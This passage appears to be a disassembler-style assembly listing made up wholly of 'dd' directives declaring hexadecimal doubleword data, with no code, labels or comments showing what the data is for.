		dd 1AD170h, 21E6F0EFh, 0D506A7D4h, 79C28B27h, 0FDC000EDh
		dd 4D46A6A4h, 6A7D167Fh, 35EB7024h, 0E459F609h,	0D6DC00CBh
		dd 0CD7D3D5Ch, 0FC01786Ch, 184D88FDh, 0DBD4AB50h, 5C0C03F6h
		dd 6134C181h, 43F3344Eh, 0A8F9BE00h, 0D22B0ED3h, 71DC8000h
		dd 81111C8Bh, 5C1E0EEFh, 0C3C059A4h, 0F2D4DE1h,	0F8AEE397h
		dd 1DCE0F3h, 88BE0945h,	8254E7CBh, 90DA0328h, 10BE614h
		dd 0A3F2BEB3h, 9689E09Fh, 0BE30605Ch, 2379D5Bh,	3D010D82h
		dd 49E204F0h, 860F2C60h, 6CC025D3h, 23B4AC6h, 5C54BF28h
		dd 0AC437997h, 8091178Eh, 5A431280h, 0B68820h, 53093624h
		dd 81A02CBDh, 9FA4FA0Eh, 2AF932FFh, 58D68F89h, 0C25C5560h
		dd 8003B90Eh, 8AF41A34h, 3D1F7CF9h, 689B52DDh, 86E09748h
		dd 2EE44DAh, 0D2FD9427h, 497AB3Ch, 3EEEF006h, 87320110h
		dd 24F7A910h, 721BCACh,	3437C288h, 0E6DDE970h, 25D31008h
		dd 0C3B0082h, 0AD049568h, 0CDDB78F0h, 0EA283548h, 293F7204h
		dd 0B8150ACh, 74259868h, 341F2180h, 35FF507h, 0AC22560Ch
		dd 318518EDh, 0E538D311h, 554183FCh, 0C0DAC42h,	1B346E18h
		dd 8230E439h, 9D9B5185h, 470B00BBh, 0DDCA2D5h, 20EA264Ah
		dd 0FF0A4500h, 80E33D9Eh, 5B91C295h, 98AFA05Ah,	1C298700h
		dd 0A200C40Eh, 9006FB83h, 0C1326A0Dh, 5554D721h, 4A49C0D4h
		dd 194BCD33h, 0F774A0CCh, 13AC1D04h, 36500E1h, 0D1AE0B23h
		dd 54003AF8h, 5818938Ah, 3E03F92h, 0D46E63A0h, 80066B0h
		dd 884962A6h, 2D8A8E4h,	570DED06h, 4CB0AD05h, 3C05D643h
		dd 0E0E9FE53h, 23EFE022h, 480CCD57h, 0F0B87CDFh, 4480E2E2h
		dd 654EE34h, 6A0092ACh,	0E9C54499h, 0C0F9482h, 0F32A0BC0h
		dd 450DAB48h, 209D1D69h, 1D87E008h, 1EEBA968h, 18E21814h
		dd 9BE87B90h, 39421CFh,	139E25FBh, 1083E271h, 0D3188819h
		dd 0D73A483Dh, 0F70F04E8h, 9829853Fh, 7536870h,	570EACFAh
		dd 770048EDh, 0B22035CDh, 860706BCh, 0C199843Dh, 44703100h
		dd 3F084AA6h, 90510ADDh, 309CD707h, 9EC6D269h, 81E3500Ah
		dd 9F879089h, 9186E2D7h, 2810A011h, 55D80087h, 0BAA4B670h
		dd 0AD442593h, 147C3AC5h, 0D9849A09h, 0D6327422h, 5DCFBCA1h
		dd 377CD453h, 0CCCE219h, 0D5E06839h, 2D4F00A4h,	62D6924Ah
		dd 44026DB6h, 72CD9D7h,	242C41E6h, 5AE78710h, 5CE83E7Fh
		dd 729DA026h, 56C5909h,	0C040E4B0h, 0AEE7EE8Eh,	0DF4D0098h
		dd 9B4EEF2Eh, 21C9D689h, 6A1C232Ch, 88594523h, 0DD105BE1h
		dd 6F0162E7h, 0E408C454h, 0D44C4580h, 0A8F448BBh, 91222840h
		dd 841B8660h, 625821BFh, 30B401F0h, 0B23C2202h,	0A6E199Dh
		dd 82D0A985h, 0ADC16A8Ch, 6C872040h, 13EAB502h,	8080C678h
		dd 0C71DD9FBh, 0EC14ACA2h, 0D481286Eh, 0C6842130h, 5A10F3Eh
		dd 8586862Bh, 70570069h, 45920C50h, 7F002004h, 4EB674EFh
		dd 60856529h, 0E8FD2905h, 0D800A2ECh, 0F66FC2ADh, 917DBEE2h
		dd 505F1304h, 0ADB82868h, 0D0E4E921h, 280C5852h, 59918FEFh
		dd 5425EECFh, 6BFC097h,	290B02C0h, 900610Fh, 0B797F07Bh
		dd 24E77DBBh, 441C2E04h, 3E613021h, 470E00DAh, 84203CEEh
		dd 98A4F737h, 81ACCD20h, 0C516FA4h, 8708963Dh, 0A6492086h
		dd 0D3108016h, 0B7CD3071h, 0DCCC24h, 0C8D60E56h, 7F3FFB48h
		dd 70A8E612h, 2CB8B40Ah, 3EAD5508h, 2AD8F068h, 66F3D90h
		dd 382D9280h, 0F8FA8C25h, 795828C1h, 409304F1h,	0B040EADh
		dd 0FCFE7198h, 4191D30Dh, 0F0FC2010h, 1CC892A9h, 4F6854Bh
		dd 0C09C4A95h, 57A6AEACh, 5C5A258h, 710D6A90h, 0B9877880h
		dd 3C1F4893h, 0CA44800h, 3E459003h, 0F9341E19h,	51934989h
		dd 98BC0C35h, 610C4A31h, 809D6D91h, 71140A26h, 3E9C64E4h
		dd 1F945D10h, 119383ACh, 81A97801h, 189E0D75h, 0C4BB4758h
		dd 71D300BDh, 94A40AD9h, 48F49D30h, 0F1254CD4h,	40A805EDh
		dd 0C09F20B4h, 1E31267Ch, 3CD0181Ch, 0B2E8F7DCh, 1C828F8h
		dd 5E4A3194h, 0EE2D25E9h, 0ED044440h, 0F0C01360h, 0E4B1FD5Ah
		dd 6B82324Dh, 62110129h, 22843608h, 55446D99h, 0FB9500CAh
		dd 588340B4h, 960FB95Dh, 2035D11Ch, 9CE0549Eh, 4CBF00F6h
		dd 0DE4B505Ah, 0A803C82Ah, 366C99FDh, 0A6EE8883h, 390B39FBh
		dd 43AF0FF4h, 0E5C030ABh
		dd 7FC63B2h, 0EFF2E000h, 7348EE82h, 0D47FF4h, 0A6FE59A9h
		dd 78B2F7BAh, 20083720h, 0F30032A5h, 55DA889Ah,	75F46ECh
		dd 0BA1FDF71h, 4D14A0E0h, 0F17F7379h, 0A83C9E03h, 0A1982BB0h
		dd 6760AA60h, 0EF1E00D2h, 3FE579ADh, 2F00E2C3h,	0CF62DEAEh
		dd 175BD884h, 0CE4941h,	7FBEF9F2h, 5D70B919h, 80B70100h
		dd 0E7580B77h, 0A7493C9Dh, 7CB03080h, 0ED218429h, 9E00A970h
		dd 0E3B60D71h, 0EC64E2BFh, 0B0F8ECh, 247C41E1h,	0EA4668FFh
		dd 2145F700h, 70363925h, 9AED00A6h, 8A99F204h, 49E81F8Eh
		dd 0D2A9FC50h, 75EEA37Ah, 0CF5B3100h, 0FE81AE01h, 2B020067h
		dd 8591D66Ah, 0A7006DF0h, 6F99B79Eh, 0F743DDh, 78CB0EE2h
		dd 274CE068h, 1E38D002h, 0C07672EEh, 1DAAB853h,	1D819470h
		dd 0F5F84501h, 0C1BC00B6h, 4DAFD307h, 2E571B00h, 5DDDDA6Dh
		dd 7A191E58h, 291F002Dh, 0D8B0127Ch, 609DC00h, 1C812470h
		dd 0CA300E2h, 0D4413EF4h, 0A000B031h, 8A52CE53h, 0BFE00Eh
		dd 0EFE44A7Ah, 76BD915Dh, 738FF4Ch, 7BF43678h, 40E3ABC0h
		dd 843A0069h, 31F63056h, 34006301h, 18DDD527h, 9068BBCh
		dd 1F7F6F95h, 0BD131000h, 0B307EADEh, 0E6964DADh, 2C3E97D0h
		dd 2E100FA3h, 49E050ACh, 6DFA5E73h, 94BA52h, 0CC0F714h
		dd 740BE68h, 0F2E10171h, 0ED7AC174h, 4741301Ch,	134C9A00h
		dd 0B20AAE5Eh, 2D30C7CBh, 8801CEC9h, 80B31F79h,	978DC261h
		dd 7D4E93h, 0C115E2B6h,	6D87BAD6h, 0B4909500h, 59A43A91h
		dd 9D71003Fh, 82D0179Ah, 460084CEh, 553C1F14h, 72C752h
		dd 3E5F6C33h, 0E3A4DF08h, 0CC111001h, 0D8B6EEE4h, 740C30h
		dd 21331AFh, 7D50B85Dh,	2C5CD400h, 73914F99h, 16F30021h
		dd 0C05F542Bh, 0BF003FB4h, 2FB1354Bh, 1FD6D9CCh, 0C055569Bh
		dd 41966111h, 0FB12ACD2h, 401AB80h, 1E37D183h, 1EBA58E4h
		dd 0D2BD73ADh, 5EAD0062h, 1A898D32h, 638E9D01h,	7C04261Fh
		dd 121496F4h, 400FD5DBh, 0C46DA0E4h, 0E700272Ch, 61774A5Bh
		dd 9067F352h, 8FE4F8h, 5E22854Eh, 70F59F2Eh, 9DA43E01h
		dd 0BFEED2A5h, 0D81030h, 4F0A16F4h, 183D7551h, 350BFCA0h
		dd 41E21AFEh, 0DE30A800h, 0EA28A9A5h, 67081D31h, 0A698094Ch
		dd 6FFA400h, 0D0A8E26Eh, 26001A6Dh, 0A69ED41Fh,	0ED420Eh
		dd 4BBA38B9h, 0DB27DE82h, 0B4687100h, 22EEC27Eh, 814400C4h
		dd 4A1C2CDCh, 12244E82h, 4604A478h, 3A20EF21h, 0CC1F7AF9h
		dd 40DD4A6Eh, 7C692840h, 6145E6h, 0E1F76646h, 153B42B1h
		dd 4BBEAC12h, 4DCA0800h, 0EEC013Ah, 4E6FA767h, 0F51246C0h
		dd 2C3795BAh, 0CC30293Dh, 36C84ACh, 0B8E226E7h,	819CA590h
		dd 28DCFBA8h, 0C3080A8Ch, 3F80C0B1h, 95037B8Bh,	89ED3B72h
		dd 0EF1C3900h, 0DD51BA66h, 77158000h, 0E28C499Ah, 0F30D1CDCh
		dd 0A623C090h, 0E76A1904h, 1D5ED200h, 89C9BE82h, 3A8500D6h
		dd 0D733E2ADh, 8100ACE0h, 0C48E4F6Fh, 17E7BCF0h, 42642AB0h
		dd 5440382Ch, 0DF748FC0h, 8100F370h, 0F61CEB2Bh, 9A0D9FAh
		dd 0E34C2448h, 913C3C80h, 0F4703B55h, 9D974300h, 115C5A79h
		dd 0DDFF03F6h, 365DA094h, 8F198CB0h, 6B9F0B00h,	0D9BD6805h
		dd 43F600AAh, 0BB662EC4h, 3BE6FC4Bh, 4045702Ch,	0F2A67607h
		dd 1928B2D0h, 409038h, 0C13DE067h, 160653FCh, 538EF48h
		dd 0DD143264h, 56F05490h, 0E628013Eh, 0CA50048Eh, 0A8299DEAh
		dd 59A353C0h, 0EB1EC4h,	22407E9Ah, 0AFEF932Eh, 190D5600h
		dd 97A7D814h, 30E14C54h, 6AD76901h, 34D28396h, 0D600A2ECh
		dd 0D3F7C1E2h, 0C87D52h, 0E9F34B9Dh, 81433C30h,	1160239h
		dd 609F0383h, 9CF1A429h, 554830h, 0B3E1F646h, 979B1C0Eh
		dd 91CB1900h, 27820776h, 1C9050h, 89B7EA35h, 0F1FFEC0Bh
		dd 9E4588C0h, 0F0A2F30Eh, 558500B8h, 8BCD4E84h,	7A01670Ah
		dd 0FD4D159h, 0E5E099D0h, 0B23A309Dh, 0E28094F8h, 3254CD00h
		dd 0FE5F7124h, 0FF370049h, 7BE586BDh, 0D8016D25h, 0A4EBD226h
		dd 0E70E39h, 7FDD5A28h,	9C8F44Eh, 0D48684A1h, 0F6B0F02Ah
		dd 0ECBAB07h, 2130163Eh, 0E4CA18h, 0A1E834BAh, 3D677893h
		dd 0BFDFFA0Fh, 42A04080h, 169CB8h, 379495FCh, 0F3DCB3E9h
		dd 7B446902h, 0C0E29DABh, 0A204E9h, 7129A8A4h, 6F06CC26h
		dd 990FB20Eh, 0E8C17E03h, 693D2AEDh, 0FA038428h, 83FF2295h
		dd 1C6AAE80h, 0D5B98C00h, 5F42F79Eh, 3021EB21h,	854DECh
		dd 0FCE82FCBh, 0A98DC6EAh, 175E7500h, 7FB4E91Ch, 0B53B01DCh
		dd 5F6DF763h, 68EDF4F1h, 92AF3A00h, 82AB1D1h, 5503035Eh
		dd 0F910E88Dh, 8E0A1298h, 21C8DB27h, 0FB63FA38h, 6AE4824h
		dd 587A866Eh, 9B49B1F0h, 628580F8h, 7C7D682Bh, 186C7CCFh
		dd 215B0637h, 7F039BCEh, 0FED917F2h, 0C7610208h, 81972236h
		dd 58CFC4E8h, 0EC8FB3Ch, 179E3B0h, 0B5F0752Ch, 3861E0E3h
		dd 0E17D00FEh, 57F972AEh, 76005E32h, 0F5DEA6E9h, 59266Bh
		dd 0E5A71E73h, 4759350h, 0B0079FA3h, 59E00F90h,	0E9BDCA40h
		dd 0E449608h, 9118C288h, 0A9644083h, 0EAC7A0CCh, 98158747h
		dd 207F100Eh, 49186C04h, 0F06E0061h, 0E94B5448h, 3F330F62h
		dd 9B584087h, 2C9E8A8h,	8EC002Eh, 6D0162CAh, 59311125h
		dd 97883870h, 81A42C40h, 2490C103h, 0E677F7A1h,	0FAAC000Fh
		dd 610076Ch, 0AE019FEh,	2001388Ah, 25CCF711h, 5056E8DDh
		dd 0C16C706Eh, 6F66CEA0h, 55A8F3FCh, 74013F73h,	230C763h
		dd 4DF844A8h, 0C82CEB7Fh, 0CDAC0491h, 10C3A9E2h, 9046925h
		dd 2A4A0350h, 0F7AAFC43h, 2269D722h, 401C211h, 29902BE3h
		dd 63C98426h, 0BA896548h, 70EA0005h, 0A04D8733h, 0C10CFAh
		dd 448E3065h, 0EF265890h, 60CA9C00h, 0D81EAE3Bh, 0A0D1FB8h
		dd 7493407Ch, 0FBCB96FEh, 2B134B73h, 0D00059C0h, 2CA2F686h
		dd 338B0012h, 1AD54AE0h, 2A72D4B5h, 7DB2E100h, 0EB70A301h
		dd 9850FED6h, 7E5B0980h, 4C80451Eh, 0EE24346Ch,	0CEE42A00h
		dd 72E0ADDEh, 0A1F10077h, 0FFE64D88h, 41004430h, 371520AFh
		dd 275B8E0Dh, 7C04FB9Eh, 92B48C5Eh, 0BB3025Ch, 83B1A726h
		dd 899FDD8Ch, 0B0835ACCh, 6E72F222h, 89171990h,	1F915F01h
		dd 23FBCD9Ah, 57773080h, 7105520Eh, 2845B800h, 40A15654h
		dd 0F10102ABh, 9A20F62Bh, 2C12FCA1h, 13C02439h,	0DC6B4102h
		dd 0E073D663h, 184A34h,	0E729CCC7h, 70AB92CAh, 37CEF918h
		dd 3047B730h, 79B80564h, 0DB00C007h, 0BB6AB98Eh, 3D6C06BEh
		dd 8B00414Eh, 0B1F5F348h, 2900618Fh, 0CDE764E5h, 785685EFh
		dd 766D0E30h, 0A500FEBAh, 5F72DFCAh, 893912B0h,	23308073h
		dd 0FAE660E3h, 0A0E43Eh, 91F16F4Fh, 126505CAh, 0D0A6DC17h
		dd 23F2E007h, 0AB8B75A0h, 458700C7h, 169A48DBh,	8E00A8D6h
		dd 703F68DFh, 0DD9AAh, 177DF013h, 0F859B721h, 0BCF3473Bh
		dd 504E07E1h, 9C00FFA9h, 0AEB445h, 0ED8FA84Dh, 6E510F73h
		dd 1693F20Fh, 1A83E0E4h, 47062Ch, 2723AEBCh, 3C016F68h
		dd 399F30C0h, 30B1A30h,	0B2D660B4h, 8288C8D2h, 0F600134Dh
		dd 5F492BBEh, 9252A4C7h, 3FB62EACh, 0AB224260h,	1820EC8Eh
		dd 0C521F626h, 0C7007EFEh, 9CC5A2Dh, 872A0D6h, 6E10287h
		dd 763E6900h, 0AAD87Ch,	4F11C510h, 0C78D79B3h, 0F91C1300h
		dd 2467AD44h, 0C8E863B2h, 96807FF3h, 0BE000482h, 0EE84EC1Bh
		dd 9D15433h, 5BD81323h,	2E9E4000h, 164B035Ah, 69010800h
		dd 0CF785Eh, 4FFFF559h
		dd 77AA7BA2h, 377FC31Fh, 638B1064h, 0FC60A274h,	762048CCh
		dd 2710B2AEh, 0BC023080h, 0B300399Ah, 78D88191h, 54D500AFh
		dd 0E1AE21E2h, 0F800449Ch, 0A5D71751h, 854ADFh,	0FF6C232Ch
		dd 0C8EC987h, 8C8B3Dh, 0FD0A4567h, 0B2D801h, 1BFA5EC6h
		dd 565F2F97h, 4760B909h, 0D1004738h, 290C5Ch, 61C8CDFBh
		dd 824D9351h, 5986A409h, 78B420FCh, 17EC20h, 9B659AFFh
		dd 7FD3877Ah, 0E8338D00h, 89C059F3h, 86DE1777h,	0AF1F019Eh
		dd 0E0EE7330h, 1B012074h, 6B678A81h, 7DD56AABh,	0D26EDA8Fh
		dd 871FE5h, 0CDA727BCh,	352E3BB2h, 8C000CE1h, 0BBD7C04Fh
		dd 65CF016Bh, 1E1B4C0Eh, 0A7F42074h, 0A658EF00h, 92492C29h
		dd 9AFCEBCBh, 88910463h, 81BDF156h, 0D0E9F94Ch,	4B0B8BF4h
		dd 80583EE7h, 0A8C0F544h, 0BF650275h, 3BEEEF55h, 60FCFF61h
		dd 7C01A496h, 0C11E375Bh, 0A09CFA6Bh, 87998F53h, 4CB5D420h
		dd 700020A4h, 2B0B6F84h, 14387EB8h, 0AC6E49C6h,	1C519602h
		dd 0A0838A05h, 0ACD0C8F7h, 3900D618h, 902C64E0h, 0B3EBE9h
		dd 2446BF03h, 0EF999A08h, 4A72100h, 180CD04Dh, 1A8803F8h
		dd 15F56F50h, 7BA8E8BBh, 583E4246h, 9DEF9D0Ah, 52D40200h
		dd 7FD16929h, 0E0C100C9h, 41C04CACh, 440E3EAEh,	4BAA4247h
		dd 60100F27h, 5A98066Fh, 0C97500D5h, 0A7A38F4Ch, 2A054371h
		dd 0FA9C915Dh, 0E16BA092h, 3A00CDA4h, 9E00D674h, 8441B533h
		dd 0C0E21946h, 80BCC729h, 264813C5h, 5222098h, 192553B1h
		dd 0E72090DAh, 1007EC6Bh, 5CEA9E6Ah, 98055865h,	0DAC01180h
		dd 73B79B9h, 735FD6BBh,	0EA669026h, 75029F15h, 47DCCC0Eh
		dd 0D04CCB65h, 814DE6h,	0D72F72Dh, 740285BAh, 6C9C3E76h
		dd 4743991Ch, 0F1BBA2ABh, 13DC917Bh, 0CF63001Eh, 0E0E46484h
		dd 3C16CC3Ah, 5B0AE22Ah, 0E61DD880h, 6775900Fh,	4AC02CE1h
		dd 2CF37317h, 80CC3915h, 0EF7A1ED4h, 14704C99h,	0E56AA109h
		dd 3180C0FBh, 7C7F24B7h, 2895051Bh, 0BEA90049h,	226CA36Dh
		dd 0E827A001h, 182E0B4Ch, 0E5AAA050h, 31CF0052h, 0CB39DD50h
		dd 0A67769FCh, 32724700h, 9C2BAED4h, 159D3AD9h,	0B8FF12h
		dd 0B95D5788h, 0A700EE04h, 4F85396Bh, 24E66CACh, 1A4F5D3h
		dd 4CBCE7A1h, 38C47409h, 660AA5F6h, 0ECB72FF9h,	6BAB6500h
		dd 101293Bh, 7EA890C9h,	0C0F6075Bh, 0B00088D1h,	0F70A5472h
		dd 0EEBEC6F2h, 25C00D2h, 82DB4EFFh, 0B09B537Eh,	6E56B500h
		dd 62472D5Eh, 7939E1EAh, 44F0E0D0h, 8330EF01h, 0A43FA998h
		dd 302809F5h, 2F71117h,	4254E3D5h, 0EB261880h, 384083E9h
		dd 28D0F985h, 0CAE2A4h,	480FAB0Bh, 0E17403CFh, 77BD1600h
		dd 0AC0679A3h, 0D7BE008Fh, 0DAFDF02Dh, 5677B8DFh, 0FA150103h
		dd 0FB925849h, 546ACFE0h, 0DE852400h, 0A804A059h, 9E63D98h
		dd 0ED7E88Fh, 28547441h, 983BCC90h, 0E8BD253Eh,	1EF0DC22h
		dd 8CFD7F40h, 4A29DA00h, 16C4B3CAh, 0DD6F1218h,	6C12B8h
		dd 5FC39A76h, 410ED803h, 37CD451Fh, 798038D7h, 4CA7E0F7h
		dd 300E9473h, 0BB9F0BA9h, 29349519h, 0E9CBF8A2h, 4F12E1B0h
		dd 28B03557h, 0F7A1C012h, 8BE4112Eh, 7A89952h, 66870DEFh
		dd 98C670C0h, 0E79601B2h, 0E05F8F74h, 744E2E50h, 84E4898Ah
		dd 0FCAD6ABEh, 3CC82525h, 5F0BAEEh, 0BCF0AD15h,	0D57200A0h
		dd 11A1FE4Ah, 9CA20E3Fh, 9227BA77h, 9ABA0F0h, 0D3F680E0h
		dd 445D5100h, 0A67B0F28h, 90A000F7h, 5A401608h,	437C2648h
		dd 98FD9A0Fh, 74D3C0C0h, 0ECDAF31Dh, 688625E1h,	4230CBFh
		dd 0A63D80FFh, 0A9250120h, 8C1E9D4Bh, 0BE392F11h, 60459044h
		dd 8CA05C44h, 0AA214427h, 5A8F14A0h, 6F08F189h,	84862444h
		dd 29C8FC90h, 78FB47C5h, 5C847290h, 0B919445Dh,	48391D44h
		dd 530D426Eh, 5E212D24h, 105A123Ch, 1890ED6h, 31441B08h
		dd 4F228436h, 1155420Ch, 2221356Ch, 90065308h, 38C88469h
		dd 6F421E48h, 213D2407h, 0A124A4Eh, 89093210h, 44940851h
		dd 0C988E64Ch, 0A36603D9h, 2DE1444Dh, 1C34A9FCh, 0ED40863Bh
		dd 0CD0FFFAAh, 9CB97489h, 932F074Ch, 0AA8E259h,	81253860h
		dd 88984B01h, 6E30A702h, 83B5E8h, 0EA69084Eh, 0F6067647h
		dd 28078BCh, 6BE94035h,	0EA8EC82h, 9C980368h, 8E219E40h
		dd 450E8AB8h, 0C04FC448h, 0B4BC25ECh, 9311C070h, 43BAF07Dh
		dd 58005C73h, 84994ABBh, 7C56089h, 0D1A4A734h, 9E1619Ch
		dd 0BB6C34E4h, 0BF7AB51Eh, 6E9AB6C2h, 50EFE096h, 919003Fh
		dd 4D30A813h, 3ED962BBh, 90E80611h, 9D8F0BCh, 0CA178F65h
		dd 0E4EC7825h, 0D003748h, 0BBA796DBh, 113DD09h,	7E685B80h
		dd 0D4C24759h, 0F4ECA4A3h, 54FB2B00h, 0D773FC2Fh, 0CF8B00ADh
		dd 204E323Fh, 0C003A80h, 0F2E1EF66h, 916399h, 67C91E73h
		dd 9A9F5010h, 0ED00A178h, 8B0AFC18h, 1CD15F24h,	8002CD14h
		dd 1F32BAD5h, 0C100E6B2h, 0F40578BEh, 92976Eh, 0B8429623h
		dd 6ED2F62h, 5098C900h,	0DA12CE05h, 0B2DE00DDh,	2608FC70h
		dd 3301C366h, 486EFE20h, 9C701B49h, 3C7C000Dh, 93FB681Eh
		dd 0F20F65DFh, 0EFCC8C71h, 87B4A36Eh, 1C09850h,	0B1B00BEh
		dd 2A349C94h, 850B62E8h, 19097Fh, 0CE91FE20h, 3C7700FAh
		dd 901066A8h, 9200F225h, 155B6EF3h, 1247C762h, 0D0815178h
		dd 91DAD6E0h, 527C7500h, 0C8DD281Bh, 3FE00483h,	80315FC9h
		dd 0F8BBED38h, 74356800h, 0F7A3E220h, 0DCC500EBh, 2F8647ECh
		dd 544A92F6h, 0BA146C00h, 1C564DD4h, 40CB6D28h,	0C5774010h
		dd 0E8041A3Bh, 0D153135h, 75C00490h, 0BE202448h, 5E540140h
		dd 20F037DCh, 6C00F1DBh, 0C7185F71h, 189707FBh,	381483E7h
		dd 3A12275Ah, 2044B37Ah, 648ACEDh, 7DF63A40h, 336C25E1h
		dd 3D071060h, 7A63A907h, 0CD20A25Ah, 3ED125D9h,	0AC00C648h
		dd 0B3D709CCh, 0BE909B95h, 33851918h, 136170h, 0A7D9CC7Bh
		dd 0B926CDC2h, 0B4535000h, 0A3BCD64Ah, 0F22E0061h, 9E39C079h
		dd 0BE079C08h, 0EBA9580Ah, 611D8ED0h, 5170DEh, 3E608870h
		dd 8531364Ah, 8A22DF07h, 8CF071C5h, 2691E6h, 423A4FB1h
		dd 0EAFB5B73h, 98E90D00h, 0CB9396C6h, 0FFB1378Bh, 8D63A1F0h
		dd 14E63077h, 80B0F50Eh, 6384088h, 0C657EDh, 3F8E62A0h
		dd 0C4685CBEh, 0D9A70C0Fh, 0FD384044h, 82E57Ah,	457FE6B1h
		dd 0BA75D4B2h, 0F80FB00h, 0DE84A596h, 0DA010334h, 0C343D024h
		dd 0AEED4C88h, 8010272Fh, 0FBDD9C44h, 880E979Eh, 0CF8DAA60h
		dd 3B14E6AEh, 3C889CCh,	793D950Dh, 1429D8E1h, 4EB04Ch
		dd 0A6D05AD5h, 5DB78E51h, 0B139D2F2h, 77CC0742h, 0B104069h
		dd 39B81598h, 98504937h, 11C7047Ch, 802F3C22h, 510FE010h
		dd 0B76A0603h, 0E88258A7h, 36290Dh, 261DFED3h, 17F11DDh
		dd 6FEDC61Eh, 87FC3C00h, 0A3F618h, 0B6369507h, 14DC6A2Ah
		dd 0A9F06E71h, 0FF618400h, 0AC08C0D9h, 54BB007Eh, 487D08Bh
		dd 960F1BA6h, 0FE36F184h, 0C78A3F80h, 71FBCB94h, 2CB8EE4Fh
		dd 3B6C043h, 2CBDED78h,	7FB65087h, 0F200F4DDh, 0FA03710Fh
		dd 0E479B04Dh, 0F59D0056h, 77F97BDAh, 5425AC01h, 0E1C603Ah
		dd 0D0210053h, 820406ECh, 0CD586229h, 49CC002Dh, 0FB6C3718h
		dd 0F2D302B3h, 5019ED3Fh, 0CAE3CC60h, 71B68900h, 0EE410F9Bh
		dd 0A83A00C1h, 16AA6A42h, 2400C5D1h, 0F6DE67AEh, 9DAF5Bh
		dd 0CE22B884h, 0A0A8380Ah, 0DD80ECBCh, 7DB632ADh, 6AB80944h
		dd 0D4B0D325h, 0A80097DEh
		dd 0AEC9261Ch, 9021C850h, 0DD84009Ch, 9FB4D8A7h, 2D0AE079h
		dd 0DC6175D3h, 0D6F50300h, 3899829Bh, 1E00ABF8h, 0A7AC58FEh
		dd 0C500AF67h, 7031A4F9h, 28088126h, 9C95EC4Dh,	2BAB034Ch
		dd 52D003E7h, 64F277D5h, 10D35700h, 1C479051h, 0BD070033h
		dd 0C2FD494Ah, 3AB0F865h, 64F9BA0Fh, 1EDF80C0h,	6D10D4h
		dd 0D9ABCF72h, 197E95ADh, 0E3286900h, 74A101B4h, 98EF70F3h
		dd 80406049h, 0DF27CE2Eh, 82DCA83Bh, 0A2C39E17h, 23304063h
		dd 6AA100AAh, 4B6DF7CAh, 8F704919h, 416C2800h, 0EB9F1BB6h
		dd 0C1120E0Eh, 4A6E1059h, 0B2407C20h, 0E9007151h, 0CC3ED733h
		dd 8EAC14h, 9B7A9ABEh, 5E2F90F7h, 6700D97Eh, 3CD39F40h
		dd 1C636E99h, 79AC82Ch,	801F41B5h, 3B7BD29h, 1DACC4Ch
		dd 0E1B4579Dh, 4874C3B6h, 31E51350h, 565480D3h,	0A1E2835Eh
		dd 27787374h, 30AB3Fh, 0FB2A0A7Eh, 1EE686DEh, 8A4026FFh
		dd 13EC1F2Dh, 91CC0FC2h, 72443421h, 0BB19803Ah,	84A4AB6Ah
		dd 4F7F3DAEh, 0BD41A80h, 0A5D0103Ch, 0BE875600h, 0C4522311h
		dd 21E000B4h, 945ACF28h, 8A033C96h, 5DDEF83h, 40FFBF64h
		dd 41CF6EAh, 0F17241h, 9E2D30A3h, 1A62C06h, 38ED5B26h
		dd 0DC1AF080h, 26C6FE98h, 566141h, 77E9729h, 5501AFFBh
		dd 0CF16717h, 21C4E5D1h, 269F613h, 50F3C9F0h, 6840B7E8h
		dd 640E2A6Dh, 0C05424A5h, 3206EB2Eh, 367903C1h,	83F17EF5h
		dd 563ECDB0h, 952E8B02h, 0C059DCFCh, 9189648h, 0A9B0E768h
		dd 0C46E6580h, 3B5D1BAh, 0D8622BE8h, 773B90Eh, 9367BFAh
		dd 828AD263h, 1E1976C0h, 4FC38D00h, 0F7143F26h,	0A0CC0C55h
		dd 0D038E66Ah, 0C0003879h, 63A5F058h, 90882EFAh, 0DD6200C8h
		dd 519FBC0Ah, 0A20F24E7h, 40990579h, 434F3DAEh,	0F2330F94h
		dd 9DE2C6F7h, 6083C01Dh, 90F751C4h, 44E1B3EDh, 58369F00h
		dd 1D1F003h, 0F42C0181h, 1A990D54h, 0D563704Ah,	636D4C00h
		dd 38470680h, 73610032h, 95BF2EB3h, 4E05BE9Ah, 0A0A9108Ah
		dd 70B7D0C0h, 99E013h, 7D60E82Bh, 0F8EC7A03h, 9C05CA13h
		dd 5D2AAE00h, 4AD6DEAh,	0AAB59F3Fh, 72D18023h, 0FEC7165Ch
		dd 8C40A066h, 38E67EDh,	90B7674h, 95B8D868h, 0E530B612h
		dd 907806D6h, 29231355h, 1164073Ch, 8DFE92A3h, 670058DCh
		dd 0F53AB69Eh, 889AEFh,	0C629A74Dh, 5598D5BEh, 1F611101h
		dd 0DD82EB13h, 5C104A80h, 0FB179AA6h, 0A8FD0C07h, 71209474h
		dd 0B66AB627h, 0B91E0420h, 7E8CC828h, 9759750Ah, 702CFD26h
		dd 0CF8C7F01h, 40EA6B28h, 3E96039Ah, 8680A729h,	6F840135h
		dd 8101CDCFh, 0FC02720Fh, 0C0C63E9Dh, 144CC7h, 29D80B5Fh
		dd 0F5A3DFA5h, 20012CFCh, 0C20A48A0h, 32E8BD05h, 0E6B8048Bh
		dd 83A75EA6h, 4000235Dh, 0CDDF78E0h, 1BA28D7Bh,	18EEC625h
		dd 2A366FD0h, 6DDAAF03h, 0B086E3B9h, 39FCC929h,	700B11C8h
		dd 0D068C333h, 320F4634h, 0C6418818h, 0E22987F2h, 1D500ADh
		dd 9780B547h, 0F00469Ah, 0DC4FF848h, 0EE1B75Ah,	0D60C2611h
		dd 1B8424E0h, 0B230B0E9h, 7D7216BAh, 0B7D0A093h, 68E51CAEh
		dd 0D56B0705h, 599AD092h, 8500CF16h, 11A165CAh,	0FAC34Fh
		dd 0B9538D52h, 6AD62ADFh, 7CAC6704h, 7CE8F8CCh,	0C60A4205h
		dd 8ED0429Ah, 0C8305804h, 48610077h, 2F85B138h,	0F61E5F6Eh
		dd 0B6D751C7h, 0E1A08400h, 5004C534h, 0FEE083h,	22607ABEh
		dd 708B3921h, 0A7B4251Eh, 0D0C00712h, 734B5F5h,	0D78A66AFh
		dd 81C1235Ch, 23008078h, 4F045B4Dh, 7D7AA3h, 4C587384h
		dd 6102058Fh, 0F85AB107h, 0DC905C24h, 0AD6877h,	1B3BC9CAh
		dd 6AD5B9EEh, 864A7800h, 0BD26CFDAh, 7AB00034h,	87ADD3EFh
		dd 2A0717C7h, 0E5D45643h, 0D90E86B0h, 7B77E4D2h, 1F810041h
		dd 6B734A15h, 0F502FA2Bh, 0A84C4835h, 0E0B88F6Eh, 5D1E4F44h
